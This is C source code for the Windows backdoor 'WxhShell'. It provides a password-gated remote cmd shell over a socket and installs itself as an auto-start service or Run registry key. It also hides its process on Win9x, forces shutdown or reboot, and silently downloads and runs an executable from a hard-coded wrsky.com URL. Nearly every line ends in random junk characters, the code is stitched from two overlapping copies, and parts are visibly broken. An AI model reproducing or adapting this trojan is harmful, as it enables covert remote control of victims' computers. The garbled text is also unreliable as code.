    } [Rh[Z# 6  
  // 关机 2e}${NZN  
  case 'd': { 9I>+Q&   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q]_3 #_'  
    if(Boot(SHUTDOWN)) zr9o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R9SJ;TsE  
    else { '3Ir(]Wfd  
    closesocket(wsh); q# W|*kL3  
    ExitThread(0); 7<Fp3N 3  
    } pv2_A   
    break; . xT8@]  
    } ~mc7O  
  // 获取shell ]KGLJ~hm>  
  case 's': { _W41;OY  
    CmdShell(wsh); bS{7*S  
    closesocket(wsh); ![WX -"lW  
    ExitThread(0); Nw@tlT4  
    break; DG8LoWZ  
  } 6JWCB9$4  
  // 退出 k%\_UYa  
  case 'x': { **rA/*Oc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  `"v5bk  
    CloseIt(wsh); .BGM1ph}~  
    break; "|CzQ&e  
    } qkC+9Sk  
  // 离开 w]n20&  
  case 'q': { :.!]+#Me  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); de{KfM`W;  
    closesocket(wsh); 3 $;6pY  
    WSACleanup(); YV*s1 t/  
    exit(1); -f0Nb+AR  
    break; jR@j+p^e  
        } X>mY`$!/  
  } {aI8p}T  
  } 4l2i'H  
6#XB'PR2p  
  // 提示信息 ODK$G [-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @SA*7[?P  
} PF@+~FI  
  } vS-k0g;   
._m+@Uy]H}  
  return; O=}4?Xv  
} '~i} 2e.  
wZVY h  
// shell模块句柄 P0J3ci}^  
int CmdShell(SOCKET sock) HlqvXt\  
{ Ktg{-Xl  
STARTUPINFO si; 9I8{2]  
ZeroMemory(&si,sizeof(si)); >N>WOLbb7(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9l2,:EQ*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &^e%gU8!\  
PROCESS_INFORMATION ProcessInfo; #%k!`?^fbK  
char cmdline[]="cmd"; *6~ODiB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F)/}Q[o8  
  return 0; JqTkNKi/s  
} &P&LjHFK  
V6"<lK8"  
// 自身启动模式 7QP%Pny%  
int StartFromService(void) x[7jm"Pz  
{ 8DbXv~3@  
typedef struct edhNQWn  
{ `e]L.P_e?  
  DWORD ExitStatus; v4!zB9d  
  DWORD PebBaseAddress; g\&[;v i  
  DWORD AffinityMask; m "\jEfjO  
  DWORD BasePriority; > 4ex:Z  
  ULONG UniqueProcessId; b7g\wnV8z  
  ULONG InheritedFromUniqueProcessId; J& }/Xw)  
}   PROCESS_BASIC_INFORMATION; Pl<r*d)h  
 6\ /x  
PROCNTQSIP NtQueryInformationProcess; @cdd~9w  
%3scz)4$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 98h,VuKVaB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; />;1 }  
jq#_*&Eg]  
  HANDLE             hProcess; V| b9zHh  
  PROCESS_BASIC_INFORMATION pbi; p+U}oC  
Tx?,]c,(u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X-9>;Mb~y  
  if(NULL == hInst ) return 0; N-|E^XIV  
Et ty{r}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  sBY*9I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ARAC'F0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FR9qW$B  
R%o:'-~  
  if (!NtQueryInformationProcess) return 0; ;4tVFqR  
+[*VU2f t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }\}pSqW  
  if(!hProcess) return 0; |n=m{JX\m  
C4],7"Sw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BL<.u  
Pcut#8?  
  CloseHandle(hProcess); 5bM/ v  
Zpg/T K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -_Pd d[M  
if(hProcess==NULL) return 0; Qk<W(  
o9G%KO&;D,  
HMODULE hMod; L^} Z:I  
char procName[255]; 0F-X.Dq  
unsigned long cbNeeded; 1C\OL!@L  
D_ xPa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .GUm3b  
jW*|Mu>2  
  CloseHandle(hProcess); TjxZ-qw<  
;vvO#3DWM  
if(strstr(procName,"services")) return 1; // 以服务启动 cjt<&b*  
\"B?'Ep;  
  return 0; // 注册表启动 >f#P(  
} w~a^r]lPW  
PVHJIB  
// 主模块 *LpEH,J  
int StartWxhshell(LPSTR lpCmdLine) >_P7k5Y^  
{ D-e0q)RSU  
  SOCKET wsl; G%w.Z< qy  
BOOL val=TRUE; )orVI5ti  
  int port=0; lP& 7U  
  struct sockaddr_in door; :8aa#bA  
^%|,G:r  
  if(wscfg.ws_autoins) Install(); OQMkpX-dH  
I&~kwOP  
port=atoi(lpCmdLine); \Zz"%i  
0 3fCn"  
if(port<=0) port=wscfg.ws_port; exw~SvT3  
,gGIkl&  
  WSADATA data; t-Rfy`I3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D7|[:``  
 (n+2z"/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OJiW@Z_\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RY'f%c  
  door.sin_family = AF_INET; _@9[c9bO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kcKcIn{  
  door.sin_port = htons(port); \"Z^{Y[,;  
AE`X4q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i2KN^"v?N  
closesocket(wsl); vdw5T&Q{{C  
return 1; D+ mZ7&L  
} tJ[yx_mf  
YXI_ '  
  if(listen(wsl,2) == INVALID_SOCKET) { aTS\NpK&  
closesocket(wsl); XWN ra  
return 1; <WFA3  
} G n"]<8yl~  
  Wxhshell(wsl); |N_tVE  
  WSACleanup(); m3W:\LTTp  
ST$~l7p  
return 0; g^|}e?  
!.1oW(  
} ^Pl(V@  
c} )U:?6  
// 以NT服务方式启动 #\s*>Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .[&0FHnJ5  
{ ap=m5h27  
DWORD   status = 0; ~_opU(;f  
  DWORD   specificError = 0xfffffff; aX`"V/  
+v.uP [H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {<&i4;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @_s`@ ,=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ie{98  
  serviceStatus.dwWin32ExitCode     = 0; hhd%j6  
  serviceStatus.dwServiceSpecificExitCode = 0; 'i5 VU4?K  
  serviceStatus.dwCheckPoint       = 0; `)V1GR2 ES  
  serviceStatus.dwWaitHint       = 0; -n&g**\w  
e$]`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K"u-nroHW  
  if (hServiceStatusHandle==0) return; HT&CbEa4'  
& $E[l'  
status = GetLastError(); uQh dg4  
  if (status!=NO_ERROR) X[/>{rK  
{ 0VsQ$4'V^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?>c*[>LpZ  
    serviceStatus.dwCheckPoint       = 0; x` T  
    serviceStatus.dwWaitHint       = 0; ]<b$k  
    serviceStatus.dwWin32ExitCode     = status; Uytq,3Gj6  
    serviceStatus.dwServiceSpecificExitCode = specificError; AsFn%8_I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _CqVH5U?  
    return; _8t5rF  
  } I5]=\k($  
1o"/5T:S[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |vW(;j6  
  serviceStatus.dwCheckPoint       = 0; .{+KKa $@G  
  serviceStatus.dwWaitHint       = 0; xz2U?)m;x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9V&} %  
} PdiP5S }/  
@}[>*Xy%  
// 处理NT服务事件,比如:启动、停止 Mx9#YJ?t~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PWeCk2xH  
{ sF9{(Us  
switch(fdwControl) +&hhj~I.  
{ <0lXJqd  
case SERVICE_CONTROL_STOP: aAM!;3j]B`  
  serviceStatus.dwWin32ExitCode = 0; vJZ0G:1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8vQGpIa,  
  serviceStatus.dwCheckPoint   = 0; \H<gKZquR  
  serviceStatus.dwWaitHint     = 0; _Z~cJIEU  
  { =KQQS6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wEju`0#;  
  } O-m=<Fk> D  
  return; 8Aq [@i  
case SERVICE_CONTROL_PAUSE: 5)h#NkA\J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &L7u//  
  break; C]S~DK1  
case SERVICE_CONTROL_CONTINUE: B ~u9"SR.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $t*>A+J  
  break; |-Rg].  
case SERVICE_CONTROL_INTERROGATE: =$bJ`GpJ  
  break; J|*Z*m  
}; -s~6FrKy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Hk4~v6pqC  
} % mP%W<  
U'(Exr[  
// 标准应用程序主函数 E/bIq}R6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K:!){a[  
{ Xge]3Ub  
:`u?pc27Sm  
// 获取操作系统版本 WFWQ;U{|  
OsIsNt=GetOsVer(); s P=$>@3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y~I$goT  
GMk\ l  
  // 从命令行安装 k^<s|8Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); TUE*mDRmP  
}f rij1/G  
  // 下载执行文件 LDg" s0n#  
if(wscfg.ws_downexe) { .'`7JU#{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RLnsy,  
  WinExec(wscfg.ws_filenam,SW_HIDE); "53'FRj_\  
} jA'qXc+\  
t "y[  
if(!OsIsNt) { -NzO,?  
// 如果时win9x,隐藏进程并且设置为注册表启动 (PVK|Q55y  
HideProc(); _N`'R.va  
StartWxhshell(lpCmdLine); WP(+jL^-  
} 'Cki"4%<  
else 'u9,L FO  
  if(StartFromService()) 8H2zM IB  
  // 以服务方式启动 3k YVk  
  StartServiceCtrlDispatcher(DispatchTable); N$'/J-^  
else 2!-?  
  // 普通方式启动 Q1ox<-  
  StartWxhshell(lpCmdLine); 7RXTQ9BS  
~\vGwy  
return 0; \VY!= 9EV  
} n oWjZ  
}E o\=>l7  
PK&3nXF%4  
C\-Abq c  
=========================================== FEOr'H<3x  
L >* F8|g  
+SM&_b  
9gu$vF]9!  
w$5~'Cbi  
!v/j*'L<M}  
" GUX! kj  
Gp 8%n  
#include <stdio.h> $O\I9CGr$  
#include <string.h> >Xz=E0;^Ua  
#include <windows.h> ? PIq/[tk  
#include <winsock2.h> hMcSB8?  
#include <winsvc.h> g(X-]/C{  
#include <urlmon.h> 0wFa7PyG?  
L&D+0p^lI  
#pragma comment (lib, "Ws2_32.lib") P<. TiF?@  
#pragma comment (lib, "urlmon.lib") T/[8w  
xXa* d  
#define MAX_USER   100 // 最大客户端连接数 S7|6dwQ&  
#define BUF_SOCK   200 // sock buffer xg:r5Z/|)  
#define KEY_BUFF   255 // 输入 buffer C-wwQbdG/  
l7{]jKJue  
#define REBOOT     0   // 重启 f82$_1s^  
#define SHUTDOWN   1   // 关机  {J aulg  
/5x~3~  
#define DEF_PORT   5000 // 监听端口 }kNbqwVP  
]m fI$p%  
#define REG_LEN     16   // 注册表键长度 )^Ha?;TS  
#define SVC_LEN     80   // NT服务名长度 rwZI;t$hf  
tQ:g#EqL9B  
// 从dll定义API tVAWc$3T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;f]p`!] 3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^A&i$RRO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jwP}{mi*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;q=0NtCS=4  
^[UWG^d  
// wxhshell配置信息 ywSV4ZtM  
struct WSCFG { E$u9Jbe  
  int ws_port;         // 监听端口 SH oov  
  char ws_passstr[REG_LEN]; // 口令 "-y 2En  
  int ws_autoins;       // 安装标记, 1=yes 0=no =)h<" 2  
  char ws_regname[REG_LEN]; // 注册表键名 xgdS]Sz  
  char ws_svcname[REG_LEN]; // 服务名 i146@<\G{P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L9lNAiOH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |*G$ilu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dz3KBiq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xH,D bAC;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2&e2/KEWR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \+?>KpE,b  
ZsgJ6 Y  
}; ( M > C  
S1Z~-i*w  
// default Wxhshell configuration dkHye>  
struct WSCFG wscfg={DEF_PORT, ?&ow:OH+  
    "xuhuanlingzhe", G,{=sFX  
    1, OpNTyKbaD  
    "Wxhshell", S":55YQev!  
    "Wxhshell", #!A'6SgbkM  
            "WxhShell Service", qw#wZ'<n  
    "Wrsky Windows CmdShell Service", <yoCW?#  
    "Please Input Your Password: ", sIVVF#0}]  
  1, .Mn_T*F  
  "http://www.wrsky.com/wxhshell.exe", Sckt gp8  
  "Wxhshell.exe" DH@]d0N  
    }; O^Y}fo'  
=up!lg^M  
// 消息定义模块 \d"uR@$3mG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T[ ~8u9/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A#b`{C~l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *btLd7c%  
char *msg_ws_ext="\n\rExit."; Q|gw\.]$&[  
char *msg_ws_end="\n\rQuit."; X@["Jjp  
char *msg_ws_boot="\n\rReboot..."; g':/hlQ  
char *msg_ws_poff="\n\rShutdown..."; (f-Mm0%[  
char *msg_ws_down="\n\rSave to "; `:aml+  
^R g=*L  
char *msg_ws_err="\n\rErr!"; ^| b]E  
char *msg_ws_ok="\n\rOK!"; ZqDanDM  
vb&1 S  
char ExeFile[MAX_PATH]; =XRTeIZ  
int nUser = 0; &Zzd6[G+  
HANDLE handles[MAX_USER]; +vDEDOS1  
int OsIsNt; +#B4Z'nT  
1X ?9Ji)h  
SERVICE_STATUS       serviceStatus; m'!smS x8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *mvDh9v  
cC4 2b2+  
// 函数声明 GlVb |O"  
int Install(void); /LH# 3  
int Uninstall(void); @Sik~Mm_h  
int DownloadFile(char *sURL, SOCKET wsh); y ~PW_,  
int Boot(int flag); 3d1$w  
void HideProc(void); @4O;dFOQ)  
int GetOsVer(void); ZaNZUVBh  
int Wxhshell(SOCKET wsl); kVqRl%/3Tb  
void TalkWithClient(void *cs); f;PPB@ :`$  
int CmdShell(SOCKET sock); ~.:9~(2;  
int StartFromService(void); T z`O+fx &  
int StartWxhshell(LPSTR lpCmdLine); k@[P\(a3b  
*X_-8 ^~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -(Zi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #4yh-D"  
>`0l"K<  
// 数据结构和表定义 :2 Fy`PPab  
SERVICE_TABLE_ENTRY DispatchTable[] = V(?PKb-w)  
{ ?Z1&ju,Hd-  
{wscfg.ws_svcname, NTServiceMain}, ,m HQ  
{NULL, NULL} j;BMuLTm1  
}; 7U3b YU~;  
:rdw0EROy  
// 自我安装  9Kpzj43  
int Install(void) F0D7+-9[  
{ 96VJE,^h  
  char svExeFile[MAX_PATH]; ~!Ar`= [  
  HKEY key; o94]:$=~  
  strcpy(svExeFile,ExeFile); Vgj&h dbd  
A>bpP  
// 如果是win9x系统,修改注册表设为自启动 ycD}7  
if(!OsIsNt) { 51)Q&,Mo#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "mk4O4dF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tM% f#O  
  RegCloseKey(key); u@@0YUa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AZHZUd4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hoLQuh%2%  
  RegCloseKey(key); 8V08>M  
  return 0; 8Qo~zO  
    } mY'c<>6t  
  } aFbIJm=!  
} 3IlflXb  
else { rw|;?a0  
=JR6-A1>  
// 如果是NT以上系统,安装为系统服务 5PRS|R7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NCXr$ES{  
if (schSCManager!=0) 2w7PwNb*32  
{ DHnO ,"  
  SC_HANDLE schService = CreateService ^&Exa6=*FT  
  ( 6-+q3#e  
  schSCManager, YVcO+~my  
  wscfg.ws_svcname, 0DZ}8"2  
  wscfg.ws_svcdisp, )' hOW*v  
  SERVICE_ALL_ACCESS, Q4[^JQsR2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y30T>5  
  SERVICE_AUTO_START, #+Pk_?  
  SERVICE_ERROR_NORMAL, O} &%R:  
  svExeFile, eM) I%  
  NULL, )tD[Ffvr  
  NULL, c1wP/?|.>  
  NULL, ^p}S5,  
  NULL, Q,`R-?v  
  NULL ULJV  
  ); Ch;wvoy  
  if (schService!=0) c*@#0B  
  { "R!) "B==  
  CloseServiceHandle(schService); 'f "KV|  
  CloseServiceHandle(schSCManager); !EuqJjh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $oo`]R_   
  strcat(svExeFile,wscfg.ws_svcname); d41DcgG'j(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m 4r!Ck|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q b[UA5S\`  
  RegCloseKey(key); :g+5cs  
  return 0; sN_c4"\q  
    } bzC| aUGM  
  } 'LyEdlC]  
  CloseServiceHandle(schSCManager); tx9;8K3  
} X9S` #N  
} 2d:5~fEJp  
cU[^[;4J<  
return 1; X%sMna)  
} nRSiW*;R  
kLfk2A;'i  
// 自我卸载 g2|qGfl{C  
int Uninstall(void) kgl7l?|O  
{ &| guPZ  
  HKEY key; d siQ~ [   
Pc:5*H  
if(!OsIsNt) { 26D,(Y$*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z5_#]:o&  
  RegDeleteValue(key,wscfg.ws_regname); )[]*Y]vSx  
  RegCloseKey(key); `alQmGUZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ..=WG@>$+  
  RegDeleteValue(key,wscfg.ws_regname); c(j|xQ\pE  
  RegCloseKey(key); ox&PFI0Gn  
  return 0; 4owM;y  
  } #86=[*Dr  
} >Hd0l L  
} 8=T[Y`;x  
else { n{1;BW#H  
<8,,pOb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qtI42u{  
if (schSCManager!=0) )/vse5EG+  
{ Ig{ 3>vB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "rJJ~[Y  
  if (schService!=0) x&4gy%b  
  { O'L9 s>B  
  if(DeleteService(schService)!=0) { $[*QsU%%  
  CloseServiceHandle(schService); CwL8-z0 Jn  
  CloseServiceHandle(schSCManager); ulAOQGZ  
  return 0; dJ|/.J$d  
  } PCkQ hR  
  CloseServiceHandle(schService); ~A-vIlGt!  
  } 6oA2"!u^w  
  CloseServiceHandle(schSCManager); I%Yeq"5RB  
} WW&ag r  
} +k<0: Fi  
Zai:?%^  
return 1; Gp.XTz#=  
} x,rK4L7U  
Q&k1' nT5  
// 从指定url下载文件 -L6YLe%w  
int DownloadFile(char *sURL, SOCKET wsh) N0POyd/rL  
{  D_D76  
  HRESULT hr; !*1Kjg3  
char seps[]= "/"; >DSD1i+N  
char *token; f$|AU- |<  
char *file; a^xt9o`  
char myURL[MAX_PATH]; p G-9H3[f#  
char myFILE[MAX_PATH]; TaqqEL  
DKnlbl1^?  
strcpy(myURL,sURL); _t7}ny[  
  token=strtok(myURL,seps); sWKe5@-o0  
  while(token!=NULL) eJ"je@vvrK  
  { f[s|<U^  
    file=token; gbvMS*KQz  
  token=strtok(NULL,seps); rFLm!J]  
  } wnr<# =,I'  
DN0`vl{*  
GetCurrentDirectory(MAX_PATH,myFILE); \|f3\4;!  
strcat(myFILE, "\\"); ,l )7]p*X  
strcat(myFILE, file); CEXD0+\q  
  send(wsh,myFILE,strlen(myFILE),0); ar[I| Q_  
send(wsh,"...",3,0); Tfow_t}\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pz77\DpFi  
  if(hr==S_OK) ~\]lMsk+  
return 0; Ss$/Bh>hN  
else M7PG s-l  
return 1; D~T;z pS  
l6~wm1vO  
} _rakTo8BY  
C>=[fAr mO  
// 系统电源模块 ;Im%L=q9GL  
int Boot(int flag) E},^,65  
{ h( V:-D  
  HANDLE hToken; 3I.0jA#T&/  
  TOKEN_PRIVILEGES tkp; !V O^oD7  
'L5ih|$>  
  if(OsIsNt) { *I<L1g%9d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BTAt9Z8qK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3vC"Q!J&  
    tkp.PrivilegeCount = 1; 4 >`2vb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /73ANQ"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C &~s<tcn  
if(flag==REBOOT) { hYSzr-)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pu0 <Clh  
  return 0; ~zO>Q4-k  
} sBq6,Iu  
else { K*sav?c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {W11+L{8  
  return 0; aUYq~E tj  
} ,>Yl(=&  
  } o$rA;^2X  
  else { Y=$PsDh!  
if(flag==REBOOT) { DOB#PI [/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uN*Ynf(:-  
  return 0; ;_iDiLC;  
} ;kfl5  
else { 6+LBs.vl}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E'iN==p_:  
  return 0; m/bP`-/,  
} EN-;@P9;C  
} H/''lI{k)  
k/,7FDO?m  
return 1; h6;vOd~%  
} l#|wF$J  
u.rFZu?E\  
// win9x进程隐藏模块  0U&@;/?  
void HideProc(void) iyJx~:  
{ 6 qK`X  
MG-#p8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8k_cC$*Ng  
  if ( hKernel != NULL ) p6AF16*f0  
  { i}=n6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); von<I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,vcd>"PK  
    FreeLibrary(hKernel); y{g"w  
  } {g7~e {2  
OSY.$$IO  
return; M"s+k  
} >XJUj4B|X  
BIY"{"hJ  
// 获取操作系统版本 `_+%  
int GetOsVer(void) pQCocy  
{ yB5JvD ?  
  OSVERSIONINFO winfo; 4'# ?"I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OVUJiBp  
  GetVersionEx(&winfo); vJ9IDc|[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?^gq  
  return 1; {JlSfJw !  
  else qtlcY8!  
  return 0; L]Dq1q8`  
} A/TCJ#>l  
CNl @8&R  
// 客户端句柄模块 wBI>H 7A  
int Wxhshell(SOCKET wsl) *nx$r[Mqj  
{ aL^ 58My&  
  SOCKET wsh; .r~M7 I  
  struct sockaddr_in client; k@|Go )~  
  DWORD myID; ESmWK;7b  
P^^WViVX  
  while(nUser<MAX_USER) {wh, "Ok_  
{ G Q\;f  
  int nSize=sizeof(client); gaWJzK Yc_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i)q8p  
  if(wsh==INVALID_SOCKET) return 1; }!QVcu"+t/  
?p& ( Af)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :kKdda<g#  
if(handles[nUser]==0) @ MKf$O4K  
  closesocket(wsh); a)QSq<2*  
else 8 -YC#&  
  nUser++; ht_'GBS)  
  } })umg8s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]{ir^[A6  
Cs'<;|r(  
  return 0; 821;;]H  
} !,9 ;AMO -  
")Qhg-l  
// 关闭 socket ;5tQV%V^Q  
void CloseIt(SOCKET wsh) (>C$8)v  
{ H (tT8Q5i  
closesocket(wsh); 1O2jvt7M  
nUser--; Sb.%B^O  
ExitThread(0); 0b}.!k9  
} *h M5pw  
_)ZxD--Qg  
// 客户端请求句柄 ;T :]?5W!  
void TalkWithClient(void *cs) pEq }b+-  
{ in7h^6?I  
2" u,f  
  SOCKET wsh=(SOCKET)cs; PW+B&7{  
  char pwd[SVC_LEN]; 0]xp"xOwW  
  char cmd[KEY_BUFF]; MW|R)gt  
char chr[1]; +vIsYg*#2M  
int i,j; gMsB1|  
Z '~Ie~  
  while (nUser < MAX_USER) { H>F j  
bD`h/jYv  
if(wscfg.ws_passstr) { #z =$*\u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]cM,m2^2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r2m&z%N &  
  //ZeroMemory(pwd,KEY_BUFF); \k3EFSm  
      i=0; 6t4Khiwx  
  while(i<SVC_LEN) { nL+y"O  
6z2%/P-'  
  // 设置超时 g\1|<jb3  
  fd_set FdRead; .u:aX$t+  
  struct timeval TimeOut; :6J&%n  
  FD_ZERO(&FdRead); R(f6uO!m  
  FD_SET(wsh,&FdRead); @?*; -]#)  
  TimeOut.tv_sec=8; ^$s&bH'8  
  TimeOut.tv_usec=0; e2kW,JV/<$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }H:wgy`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LZDJ\"a-  
INY?@in  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rE%H NPO  
  pwd=chr[0]; )]C(NTfxg  
  if(chr[0]==0xd || chr[0]==0xa) { d:{}0hmxI  
  pwd=0; S]Ye`  
  break; 6&o?#l;|  
  } *p0Kw>  
  i++; Sym}#F\s  
    } ]]P@*4!  
4"veqrC  
  // 如果是非法用户,关闭 socket 0ax ;Q[z2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?\$6"c<G  
} 6w~Cyu4Ov  
1E=E ?$9sg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x(A8FtG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 40G'3HOp  
x/ix%!8J  
while(1) { .Nk5W%7]=  
1Gy [^  
  ZeroMemory(cmd,KEY_BUFF); B Q2N_*v  
N@X(YlO  
      // 自动支持客户端 telnet标准   hdwF;  
  j=0; Nu euCiP  
  while(j<KEY_BUFF) { TE6]4E*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -""(>$b 2  
  cmd[j]=chr[0]; Py#TXzEcC  
  if(chr[0]==0xa || chr[0]==0xd) { 9Dp0Pi?29  
  cmd[j]=0; ?JBA`,-  
  break; M(vX.kF  
  } W;?e@}  
  j++; OZEbs 7  
    } intl?&wC  
$\q.Zb  
  // 下载文件 L{oG'aK4  
  if(strstr(cmd,"http://")) { &ET$ca`j#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -us:!p1T  
  if(DownloadFile(cmd,wsh)) [5]n,toAh  
